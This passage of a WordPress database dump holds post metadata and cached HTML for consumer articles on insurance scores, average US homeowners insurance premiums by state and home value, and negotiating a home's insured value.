540_AM-1-300x157.jpg\";s:5:\"width\";i:300;s:6:\"height\";i:157;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:5:\"large\";a:4:{s:4:\"file\";s:39:\"My_Post_052620_055540_AM-1-1024x536.jpg\";s:5:\"width\";i:1024;s:6:\"height\";i:536;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-150x150.jpg\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-768x402.jpg\";s:5:\"width\";i:768;s:6:\"height\";i:402;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-400x250.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:39:\"My_Post_052620_055540_AM-1-1080x628.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:628;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-400x284.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-510x382.jpg\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:39:\"My_Post_052620_055540_AM-1-1080x566.jpg\";s:5:\"width\";i:1080;s:6:\"height\";i:566;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-400x516.jpg\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-980x513.jpg\";s:5:\"width\";i:980;s:6:\"height\";i:513;s:9:\"mime-type\";s:10:\"image/jpeg\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:38:\"My_Post_052620_055540_AM-1-480x251.jpg\";s:5:\"width\";i:480;s:6:\"height\";i:251;s:9:\"mime-type\";s:10:\"image/jpeg\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(902,366,'_et_pb_built_for_post_type','page'),(903,366,'_et_pb_ab_subjects',''),(904,366,'_et_pb_enable_shortcode_tracking',''),(905,366,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"366\" /]'),(906,366,'_et_pb_custom_css',''),(907,366,'_et_pb_gutter_width','3'),(908,366,'_thumbnail_id',''),(909,366,'_et_pb_first_image',''),(910,366,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_3 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_6\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_6  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_6  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">How an Insurance Company Determines Your Premiums</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_7\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_7  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_7  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>Do you know your insurance score? Most people don&#8217;t even realize they have one until they receive an adverse action notice in the mail notifying them that, based on their insurance score, they don&#8217;t qualify for the lowest pricing available from their insurance provider.</p>\n<p>To help you decipher what all this means, we&#8217;ll go over what the insurance score is, how it&#8217;s calculated, and some things you can do to improve it.<br />\n </p>\n<p>Insurance Adverse Action Notice</p>\n<p>If you receive an insurance adverse action notice there are some steps you will need to take to find out why you received a low insurance score. First follow your letter&#8217;s instructions to call a 1-800 number to receive a free copy of your credit report, which affects your insurance score. Typically within a few weeks, you will be sent a consent form that requests a detailed proof of identification, including photocopies of your driver&#8217;s license, your Social Security number, and your insurance information.<br />\n </p>\n<p>KEY TAKEAWAYS</p>\n<p>Insurance companies use credit scores and history to determine your premium on insurance. <br />\nIt is very difficult to pinpoint exactly how to get the best insurance score but it is possible to improve it. <br />\nAdverse action notices are sent by insurance companies to notify buyers of why they don&#8217;t qualify for a lower price on their insurance. </p>\n<p>&nbsp;<br />\nYou send this back to the insurance company, which will normally summarize your credit rating and how it is used to calculate your insurance score. If you contact your insurance company, it will likely tell you that 99% of its clients do not qualify for the company&#8217;s lowest rate, and to qualify, your credit must be absolutely perfect.</p>\n<p>&nbsp;<br />\nIn other words, even if you carry no balances on your credit cards, own your home, are completely debt-free, and have a credit rating in the high 700s, you&#8217;re still unlikely to have an insurance score that qualifies you for the lowest available insurance rate.</p>\n<p>&nbsp;<br />\nSo what exactly is this insurance score, and what is its purpose?<br />\n </p>\n<p>What Your Insurance Score Is and How It Is Calculated</p>\n<p>An insurance score is a rating used to predict the likelihood a customer will file an insurance claim. This score, as noted above, is based on an analysis of a consumer&#8217;s credit rating, and the method for calculating it varies from insurer to insurer. While many companies use proprietary formulas to calculate the scores, the factors used in the calculation include the customer&#8217;s outstanding debt, length of credit history, payment history, amount of revolving credit versus the amount of credit in the form of loans, available credit, and monthly account balance.</p>\n<p>&nbsp;<br />\nUnlike a credit rating, which uses personal financial information to determine your ability to repay debts, insurance scores do not factor in your income. This omission means it is very possible for you to be penalized for taking out a large loan or charging a large amount on your credit cards each month even if your income is more than enough to cover the expenses. (For related reading, see: 12 Car Insurance Cost-Cutters.)<br />\n&nbsp;</p>\n<p>Why Insurance Scores Are Used</p>\n<p>Insurance companies justify the use of insurance scores by citing studies showing a positive correlation between credit scores and insurance claims. At some level, this may seem to make sense. At the level of minor traffic accidents, for example, it is reasonable to argue that individuals with poor credit are more likely to file claims, if for no other reason than because they lack the funds to make repairs on their own.</p>\n<p>&nbsp;<br />\nOf course, if we look at the logic behind insurance scores we might want to look at it also from a business perspective: insurance scoring is quite profitable, especially since almost nobody qualifies for the lowest pricing tier.</p>\n<p> </p>\n<p>Keep in mind insurance premiums are a recurring revenue stream for insurance companies, and the scores help justify higher premiums.<br />\n </p>\n<p>How to Minimize the Impact on Your Wallet</p>\n<p>A perfect insurance score, in the eyes of an insurance company, represents a client with the lowest possible risk of filing a claim, so since the probability of filing a claim is based on credit, good credit is the key to a high score.</p>\n<p>&nbsp;<br />\nA good credit report can have such a large impact on your insurance premium that you can, for example, have a flawed driving record but good credit and pay less for your car insurance than a driver who has a perfect driving record but bad credit. Keep in mind, however, that your insurance score is not the only factor that determines your premium (you can ask your insurer for more details on what the other factors are).</p>\n<p>&nbsp;<br />\nWhile it is unlikely your insurance score will ever be perfect, there are a few relatively painless steps you can take to improve your score. To keep your insurance score high, be sure to pay all of your bills on time and limit the number of credit cards that you apply for and open. (Read: The Importance Of Your Credit Rating.)</p>\n<p>&nbsp;<br />\nBut, paying your bills on time isn&#8217;t enough. As mentioned above, your insurance score is adversely impacted by large monthly credit card expenditures, even if you pay off your entire balance each month. To help your insurance score, you can minimize your credit card use. While it can prove unreasonably inconvenient to stop using your credit card entirely, most of us can find ways to cut down. You may find the effort needed to perfect your spending is not worth what may amount to relatively small savings in premiums.<br />\n </p>\n<p>The Bottom Line</p>\n<p>The use of credit history to determine insurance premiums is quite alarming to many consumers, particularly to those who have never filed an insurance claim but still don&#8217;t qualify for the lowest available pricing.<br />\n&nbsp;</p>\n<p>Unfortunately, insurance scoring is a standard practice among the nation&#8217;s largest insurers. With that in mind, the best way to help keep your insurance premium low is to keep your credit score high. Take the same amount of caution with your credit score as you would with your driving—being responsible with both can save you serious amounts of money in insurance premiums.<br />\nYou can read the full article here.</p></div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(911,366,'_et_pb_truncate_post_date','2021-03-16 03:03:13'),(912,366,'_et_builder_version','VB|Divi|4.0.9'),(913,366,'_et_pb_show_page_creation','off'),(914,374,'_wp_attached_file','2020/05/My-Post.png'),(915,374,'_wp_attachment_metadata','a:5:{s:5:\"width\";i:1199;s:6:\"height\";i:628;s:4:\"file\";s:19:\"2020/05/My-Post.png\";s:5:\"sizes\";a:12:{s:6:\"medium\";a:4:{s:4:\"file\";s:19:\"My-Post-300x157.png\";s:5:\"width\";i:300;s:6:\"height\";i:157;s:9:\"mime-type\";s:9:\"image/png\";}s:5:\"large\";a:4:{s:4:\"file\";s:20:\"My-Post-1024x536.png\";s:5:\"width\";i:1024;s:6:\"height\";i:536;s:9:\"mime-type\";s:9:\"image/png\";}s:9:\"thumbnail\";a:4:{s:4:\"file\";s:19:\"My-Post-150x150.png\";s:5:\"width\";i:150;s:6:\"height\";i:150;s:9:\"mime-type\";s:9:\"image/png\";}s:12:\"medium_large\";a:4:{s:4:\"file\";s:19:\"My-Post-768x402.png\";s:5:\"width\";i:768;s:6:\"height\";i:402;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-post-main-image\";a:4:{s:4:\"file\";s:19:\"My-Post-400x250.png\";s:5:\"width\";i:400;s:6:\"height\";i:250;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-post-main-image-fullwidth\";a:4:{s:4:\"file\";s:20:\"My-Post-1080x628.png\";s:5:\"width\";i:1080;s:6:\"height\";i:628;s:9:\"mime-type\";s:9:\"image/png\";}s:21:\"et-pb-portfolio-image\";a:4:{s:4:\"file\";s:19:\"My-Post-400x284.png\";s:5:\"width\";i:400;s:6:\"height\";i:284;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-module-image\";a:4:{s:4:\"file\";s:19:\"My-Post-510x382.png\";s:5:\"width\";i:510;s:6:\"height\";i:382;s:9:\"mime-type\";s:9:\"image/png\";}s:28:\"et-pb-portfolio-image-single\";a:4:{s:4:\"file\";s:20:\"My-Post-1080x566.png\";s:5:\"width\";i:1080;s:6:\"height\";i:566;s:9:\"mime-type\";s:9:\"image/png\";}s:35:\"et-pb-gallery-module-image-portrait\";a:4:{s:4:\"file\";s:19:\"My-Post-400x516.png\";s:5:\"width\";i:400;s:6:\"height\";i:516;s:9:\"mime-type\";s:9:\"image/png\";}s:31:\"et-pb-image--responsive--tablet\";a:4:{s:4:\"file\";s:19:\"My-Post-980x513.png\";s:5:\"width\";i:980;s:6:\"height\";i:513;s:9:\"mime-type\";s:9:\"image/png\";}s:30:\"et-pb-image--responsive--phone\";a:4:{s:4:\"file\";s:19:\"My-Post-480x251.png\";s:5:\"width\";i:480;s:6:\"height\";i:251;s:9:\"mime-type\";s:9:\"image/png\";}}s:10:\"image_meta\";a:12:{s:8:\"aperture\";s:1:\"0\";s:6:\"credit\";s:0:\"\";s:6:\"camera\";s:0:\"\";s:7:\"caption\";s:0:\"\";s:17:\"created_timestamp\";s:1:\"0\";s:9:\"copyright\";s:0:\"\";s:12:\"focal_length\";s:1:\"0\";s:3:\"iso\";s:1:\"0\";s:13:\"shutter_speed\";s:1:\"0\";s:5:\"title\";s:0:\"\";s:11:\"orientation\";s:1:\"0\";s:8:\"keywords\";a:0:{}}}'),(1140,480,'_et_pb_post_hide_nav','default'),(917,380,'_edit_lock','1590537011:1'),(918,380,'_edit_last','1'),(919,380,'_et_pb_post_hide_nav','default'),(920,380,'_et_pb_page_layout','et_right_sidebar'),(921,380,'_et_pb_side_nav','off'),(922,380,'_et_pb_use_builder','on'),(923,380,'_et_pb_built_for_post_type','page'),(924,380,'_et_pb_ab_subjects',''),(925,380,'_et_pb_enable_shortcode_tracking',''),(926,380,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"380\" /]'),(927,380,'_et_pb_custom_css',''),(928,380,'_et_pb_gutter_width','3'),(929,380,'_thumbnail_id',''),(930,380,'_et_pb_first_image',''),(931,380,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_0 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_0\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_0  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_0  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">How much the average homeowner pays for insurance in the US, by state and home value</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_1\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_1  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_1  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>Whether you&#8217;re shopping for a refrigerator, a couch, or a car, one of the first things you&#8217;ll want to know is how much the item &#8220;normally&#8221; costs. And with these types of physical products, it&#8217;s usually relatively easy to do a little online research to get a solid price baseline.<br />\nBut it&#8217;s not so easy to do that with intangible products like homeowners insurance. Apart from taking the time to ask all your friends, family, and neighbors what they pay in premiums, it&#8217;s hard to know if the quote you&#8217;ve received is outrageous or a steal.<br />\nThankfully, there&#8217;s a lot of data available that can help you set realistic expectations for your homeowners insurance cost. In this article, we&#8217;ll look at how much the average homeowner is paying in homeowners insurance premiums, the factors that affect your specific policy, and ways to save.<br />\n </p>\n<p>The average cost of homeowners insurance<br />\nAccording to the most recent release of the Homeowners Insurance Report by the National Association of Insurance Commissioners (NAIC), the average annual premium in the United States in 2017 was $1,211. <br />\nThe 2017 average premium — the most recent data available — was a 1.6% increase from the 2016 average of $1,192. Premiums have been steadily rising over the past decade. In 2012, the national average premium was $1,034 and in 2008 it was even lower at $830.<br />\nYour home&#8217;s value plays a large role in how much you pay in insurance premiums. Here&#8217;s how much homeowners insurance costs on average by home value in the United States, according to the NAIC:</p>\n<p>Estimated Home Value<br />\nAverage Premiums for an HO-3 Policy</p>\n<p>$49,999 and under<br />\n$633</p>\n<p>$50,000 to $74,999<br />\n$745</p>\n<p>$75,000 to $99,999<br />\n$814</p>\n<p>$100,000 to $124,999<br />\n$870</p>\n<p>$125,000 to $149,999<br />\n$918</p>\n<p>$150,000 to $174,999<br />\n$960</p>\n<p>$175,000 to $199,999<br />\n$997</p>\n<p>$200,000 to $299,999<br />\n$1,092</p>\n<p>$300,000 to $399,999<br />\n$1,252</p>\n<p>$400,000 to $499,999<br />\n$1,467</p>\n<p>$500,000 and above<br />\n$2,149</p>\n<p>*The above table uses data from the NAIC.</p>\n<p>The average cost of homeowners insurance by state<br />\nWhere you live will also impact your cost of homeowners insurance. If you live in an area with high real estate values, this also means that it would cost more to replace your home if it were destroyed. So the NAIC says that average premiums tend to be higher in densely populated areas.<br />\nSecond, your potential exposure to catastrophe plays a significant role in what you pay for homeowner&#8217;s insurance. If you live in an area that&#8217;s prone to hurricanes, earthquakes, or tornadoes, you can expect to pay more than someone who lives in an area with less risk of experiencing a natural disaster.<br />\nHere&#8217;s the average annual homeowners insurance premium by state, according to S&amp;P Global Market Intelligence:</p>\n<p>State<br />\nAverage Annual Premium</p>\n<p>Alabama<br />\n$1,116</p>\n<p>Alaska<br />\n$1,002</p>\n<p>Arizona<br />\n$966</p>\n<p>Arkansas<br />\n$1,091</p>\n<p>California<br />\n$966</p>\n<p>Colorado<br />\n$994</p>\n<p>Connecticut<br />\n$1,058</p>\n<p>Delaware<br />\n$1,172</p>\n<p>District of Columbia<br />\n$1,047</p>\n<p>Florida<br />\n$1,117</p>\n<p>Georgia<br />\n$1,137</p>\n<p>Hawaii<br />\n$977</p>\n<p>Idaho<br />\n$966</p>\n<p>Illinois<br />\n$924</p>\n<p>Indiana<br />\n$906</p>\n<p>Iowa<br />\n$918</p>\n<p>Kansas<br />\n$908</p>\n<p>Kentucky<br />\n$1,106</p>\n<p>Louisiana<br />\n$1,108</p>\n<p>Maine<br />\n$989</p>\n<p>Maryland<br />\n$1,212</p>\n<p>Massachusetts<br />\n$1,031</p>\n<p>Michigan<br />\n$919</p>\n<p>Minnesota<br />\n$951</p>\n<p>Mississippi<br />\n$1,099</p>\n<p>Missouri<br />\n$897</p>\n<p>Montana<br />\n$948</p>\n<p>Nebraska<br />\n$907</p>\n<p>Nevada<br />\n$933</p>\n<p>New Hampshire<br />\n$1,049</p>\n<p>New Jersey<br />\n$1,052</p>\n<p>New Mexico<br />\n$949</p>\n<p>New York<br />\n$952</p>\n<p>North Carolina<br />\n$1,118</p>\n<p>North Dakota<br />\n$906</p>\n<p>Ohio<br />\n$895</p>\n<p>Oklahoma<br />\n$1,114</p>\n<p>Oregon<br />\n$950</p>\n<p>Pennsylvania<br />\n$1,003</p>\n<p>Rhode Island<br />\n$982</p>\n<p>South Carolina<br />\n$1,126</p>\n<p>South Dakota<br />\n$898</p>\n<p>Tennessee<br />\n$1,118</p>\n<p>Texas<br />\n$1,140</p>\n<p>Utah<br />\n$1,025</p>\n<p>Vermont<br />\n$1,004</p>\n<p>Virginia<br />\n$1,181</p>\n<p>Washington<br />\n$986</p>\n<p>West Virginia<br />\n$1,101</p>\n<p>Wisconsin<br />\n$903</p>\n<p>Wyoming<br />\n$966</p>\n<p>*The above table uses data from S&amp;P Global Market Intelligence.</p>\n<p>Most expensive states for homeowners insurance<br />\nHere are the states where annual homeowners insurance premiums are least affordable, on average, according to S&amp;P Global:</p>\n<p>State<br />\nAverage Annual Premium</p>\n<p>Maryland<br />\n$1,212</p>\n<p>Virginia<br />\n$1,181</p>\n<p>Delaware<br />\n$1,172</p>\n<p>Texas<br />\n$1,140</p>\n<p>Georgia<br />\n$1,137</p>\n<p>*The above table uses data from S&amp;P Global Market Intelligence.</p>\n<p>Cheapest states for homeowners insurance<br />\nHere are the states where annual homeowners insurance premiums are most affordable, on average, according to S&amp;P Global:</p>\n<p>State<br />\nAverage Annual Premium</p>\n<p>Ohio<br />\n$895</p>\n<p>Missouri<br />\n$897</p>\n<p>South Dakota<br />\n$898</p>\n<p>Wisconsin<br />\n$903</p>\n<p>Indiana<br />\n$906</p>\n<p>*The above table uses data from S&amp;P Global Market Intelligence.</p>\n<p>The factors that affect homeowners insurance premiums<br />\nAs we&#8217;ve already seen, your home&#8217;s value and where it&#8217;s located are two of the biggest variables that affect homeowners insurance prices. However, there are a few other factors that can drive your premiums up or down. <br />\nCoverage levels<br />\nThe type of coverage you choose will impact the price that you pay for homeowners insurance. Cash value coverage is typically the most affordable. With this type of coverage, your insurance company will only pay what your property is worth minus depreciation, not what it would cost to actually replace your home and its belongings.<br />\nFor more protection, you can choose replacement cost coverage instead. With this type of policy, your insurer will pay out what it would cost to repair or rebuild your home in today&#8217;s dollars.<br />\nFor example, if a tree fell through your house and destroyed your couch, a replacement cost policy would pay whatever it costs to replace the couch. But a cash value policy would only pay what the couch is worth today. And if the couch is several years old, its value could be much less than what you originally paid.<br />\nYou can expect to pay more for replacement cost coverage, but it may be worth it to protect yourself against coverage gaps that can be caused by depreciation.<br />\nOther variables<br />\nHere are a few more factors that can affect the price of your homeowners insurance:</p>\n<p>The deductible you choose: As a general rule, premiums go down as deductibles go up.<br />\nAge of your home: Older homes often require more work to rebuild to modern safety standards, so they can cost more to insure than newer homes.<br />\nCondition of your roof: If your roof is relatively new and in good condition you&#8217;ll typically pay less than a homeowner with a roof that&#8217;s old or built with lower-quality materials<br />\nPast claims: You can expect to pay more if you&#8217;ve made several claims in the past or live in an area with a high claims rate.</p>\n<p>How to save money on homeowner&#8217;s insurance<br />\nAdd features to make your home safer<br />\nIf you&#8217;re looking for ways to reduce your homeowners insurance premiums, think about ways you could improve the safety of your home. Adding any of the following safety features to your home could qualify you for a homeowners insurance discount:</p>\n<p>Smoke detectors<br />\nDeadbolt locks<br />\nFire extinguishers<br />\nStorm shutters<br />\nSecurity system<br />\nSprinkler system<br />\nNew or reinforced roof</p>\n<p>Bundle your insurance policies<br />\nYou may also be able to save on homeowners insurance by bundling your home and auto insurance policies together. <br />\nRaise your deductible<br />\nFinally, raising your deductible could reduce your premiums. But make sure that you don&#8217;t set a premium that&#8217;s higher than you&#8217;d be able to pay without going into debt. And know that if you have a mortgage on your home, your lender may require that your deductible stay below a certain limit.<br />\nShop around<br />\nThe last variable that can impact the price you pay for home insurance is the company you choose. Premiums can vary widely by insurance company. So one of the best ways to save on homeowners insurance could be simply to make sure that you shop around before choosing an insurance provider.<br />\nAim to get at least three to five quotes before choosing a home insurer. Or, to save time, you could use an online homeowners insurance shopping tool like Policygenius to compare dozens of insurance companies at once.</p>\n<p>To read the full article, click here.</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row -->\n				\n				\n			</div> <!-- .et_pb_section -->\n'),(932,380,'_et_pb_truncate_post_date','2021-03-16 03:27:04'),(933,380,'_et_builder_version','VB|Divi|4.0.9'),(934,380,'_et_pb_show_page_creation','off'),(935,385,'_edit_lock','1590537009:1'),(936,385,'_edit_last','1'),(937,385,'_et_pb_post_hide_nav','default'),(938,385,'_et_pb_page_layout','et_right_sidebar'),(939,385,'_et_pb_side_nav','off'),(940,385,'_et_pb_use_builder','on'),(941,385,'_et_pb_built_for_post_type','page'),(942,385,'_et_pb_ab_subjects',''),(943,385,'_et_pb_enable_shortcode_tracking',''),(944,385,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"385\" /]'),(945,385,'_et_pb_custom_css',''),(946,385,'_et_pb_gutter_width','3'),(947,385,'_thumbnail_id',''),(948,385,'_et_pb_first_image',''),(949,385,'_et_pb_truncate_post',''),(950,385,'_et_pb_truncate_post_date',''),(951,385,'_et_builder_version','VB|Divi|4.0.9'),(952,385,'_et_pb_show_page_creation','off'),(953,389,'_edit_lock','1603490417:1'),(954,389,'_edit_last','1'),(955,389,'_et_pb_post_hide_nav','default'),(956,389,'_et_pb_page_layout','et_right_sidebar'),(957,389,'_et_pb_side_nav','off'),(958,389,'_et_pb_use_builder','on'),(959,389,'_et_pb_built_for_post_type','page'),(960,389,'_et_pb_ab_subjects',''),(961,389,'_et_pb_enable_shortcode_tracking',''),(962,389,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"389\" /]'),(963,389,'_et_pb_custom_css',''),(964,389,'_et_pb_gutter_width','3'),(965,389,'_thumbnail_id',''),(966,389,'_et_pb_first_image',''),(967,389,'_et_pb_truncate_post',''),(968,389,'_et_pb_truncate_post_date',''),(969,389,'_et_builder_version','VB|Divi|4.0.9'),(970,389,'_et_pb_show_page_creation','off'),(1139,480,'_edit_last','1'),(972,396,'_edit_lock','1590536941:1'),(973,396,'_edit_last','1'),(974,396,'_et_pb_post_hide_nav','default'),(975,396,'_et_pb_page_layout','et_right_sidebar'),(976,396,'_et_pb_side_nav','off'),(977,396,'_et_pb_use_builder','on'),(978,396,'_et_pb_built_for_post_type','page'),(979,396,'_et_pb_ab_subjects',''),(980,396,'_et_pb_enable_shortcode_tracking',''),(981,396,'_et_pb_ab_current_shortcode','[et_pb_split_track id=\"396\" /]'),(982,396,'_et_pb_custom_css',''),(983,396,'_et_pb_gutter_width','3'),(984,396,'_thumbnail_id',''),(985,396,'_et_pb_first_image',''),(986,396,'_et_pb_truncate_post','<div class=\"et_pb_section et_pb_section_2 et_section_regular\">\n				\n				\n				\n				\n					<div class=\"et_pb_row et_pb_row_4\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_4  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_4  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\">How to Negotiate a Change in Your Home Insurance Value</div>\n			</div> <!-- .et_pb_text -->\n			</div> <!-- .et_pb_column -->\n				\n				\n			</div> <!-- .et_pb_row --><div class=\"et_pb_row et_pb_row_5\">\n				<div class=\"et_pb_column et_pb_column_4_4 et_pb_column_5  et_pb_css_mix_blend_mode_passthrough et-last-child\">\n				\n				\n				<div class=\"et_pb_module et_pb_text et_pb_text_5  et_pb_text_align_left et_pb_bg_layout_light\">\n				\n				\n				<div class=\"et_pb_text_inner\"><p>If you&#8217;re looking at your homeowner&#8217;s insurance policy and the ever-increasing premium, you may be wondering why your home&#8217;s insured value seems high. You would not be the first homeowner to do so. There are several things you can do if you disagree with the listed dwelling&#8217;s value or the estimated reconstruction cost of your home—whether it be too low or too high. You want to make sure that the insurance value—and the associated premium—is accurate and that you are not over- or under-insuring your property.<br />\n </p>\n<p>Adjusting the Home Value of Your Policy</p>\n<p>That undervalued coverage may be the case, but the only way to know is to review the values listed on your insurance policy every year and make sure that you have the right amount of insurance. When people think the insured values of their home and possessions are a little low, they can easily get their policy adjusted or add coverages by endorsement.</p>\n<p>On the other side of this dilemma, however, are the owners who feel they are overinsured. The problem arises when you look at your insurance policy and feel like your dwelling&#8217;s value has increased too much over the years, and it now looks like you have more insurance coverage than you need. If you are on this side of the equation, you should know that two out of three homes in America are underinsured, yet people still think their insurance is too high.<br />\n </p>\n<p>Making Sure Your Insurance Is on Target</p>\n<p>When it comes to a major home insurance claim, most people who run into problems during the claims process are the ones who have underinsured their home. Despite this, many policyholders look at the cost of insurance and seek places to cut costs.</p>\n<p>New homeowners are often surprised to see what their insurance is costing them. Also, people who have had coverage for a long time get frustrated when they see their homeowner&#8217;s premium increase while the resale value of their home may not be as high.</p>\n<p>Many factors—besides the market value of the structure—go into determining your annual premium. These factors include:</p>\n<p>Costs to repair or replace the building<br />\nThe age of the home<br />\nIts location<br />\nThe number of residents<br />\nThe size of the home<br />\nYour past claims history</p>\n<p>Insurance providers keep the exact calculation for the setting of premiums private. However, most will use these and other factors.</p>\n<p>Before you try to adjust the value of your home down, you need to consider discounts or other ways to reduce the cost of insurance.</p>\n<p>Three Ways Your Dwelling Value Increases </p>\n<p>Before we get into what you can do about a dwelling value that you find too high, it&#8217;s important to understand the two main reasons your dwelling value may be at that amount. Your value on your home insurance policy can increase due to one of three factors, inflation, insurance inspection, and the cost of reconstruction.</p>\n<p>Inflation</p>\n<p>Your home insurance has a clause to protect you from the costs of inflation and increases the dwelling insured value every year accordingly by a small percentage. Over five to 10 years, this inflation increase may become significant, and it might be time for you to review if your dwelling value is still accurate to be sure it is not overinflated.</p>\n<p>Inspection</p>\n<p>You may have had an evaluator come to your house for an insurance home inspection. The inspector reviewed the condition of the home and calculated the cost of reconstruction and recommended an increase in the dwelling value to your home insurer.</p>\n<p>Reconstruction</p>\n<p>Even if you just bought a new home and are insuring it for the first time, the agent or insurance broker did some calculations. They used a standard cost tool and basic information you provided them with to determine the insured dwelling reconstruction cost.</p>\n<p>Disagreeing With the Insured Value</p>\n<p>People often think that just because an insurance company sends them something, it is written in stone. However, the insurance estimate for the reconstruction of your home can be wrong.</p>\n<p>Your insurance is about protecting your assets, so if you feel something is off, you have every right to call your representative and ask questions or request a review. Very often, if you have a good case to present, your insurance broker or agent will submit your request to the insurance underwriter, and your case can be reviewed.</p>\n<p>Inflation Adjustments</p>\n<p>Insurance companies put in place inflation adjustment clauses to protect you when you insure your home. The idea is that if you insure your home and then five years later you have a claim, you won&#8217;t come up short on the amount of money needed to rebuild after a claim because of this inflation adjustment.</p>\n<p>Unfortunately, the accuracy of this method relies on the home having been insured at an appropriate value in the first place. It also assumes that the cost of materials and construction has, in fact, increased due to inflation since you first insured your home. In some cases, these factors may be off.</p>\n<p>In the case of standard inflation increases over a long period, it is always a good idea to re-evaluate your dwelling value using current reconstruction rates. Your insurance representative is in a good position to discuss your dwelling value with you, so it&#8217;s a good idea to call and ask if you have any questions. You may be able to get an adjustment simply by calling and having a discussion.</p>\n<p>Ways to Negotiate the Insured Value</p>\n<p>If a discussion about the increase does not yield favorable results and you still disagree with the insurance provider&#8217;s numbers, then you can try and negotiate them.</p>\n<p>Double-check calculations</p>\n<p>Ask your insurance company to double-check their calculations. Verify the square footage they used and compare the cost per square foot they are using with the general standard in your area, according to local builders. You can always try and negotiate with the insurance company on these issues, and sometimes they will offer you a compromise or alternative solution. Remember that your insurance representative is there to help you.</p>\n<p>Independent appraiser</p>\n<p>Hire an independent appraiser who is accepted by insurance companies for insurance appraisals. Before you do this, make sure your insurance company will accept the report your appraiser will provide. You do not want to waste money on this if your insurance company will not even accept it. The appraiser must be using tools and methods that are insurance company approved.</p>\n<p>You may also want to beware that in most cases, these in-house appraisals will be more accurate and therefore, may result in higher appraisal amounts. In some cases, they do result in lower appraisal amounts, but the differences would rarely be substantially different.</p>\n<p>You may want to 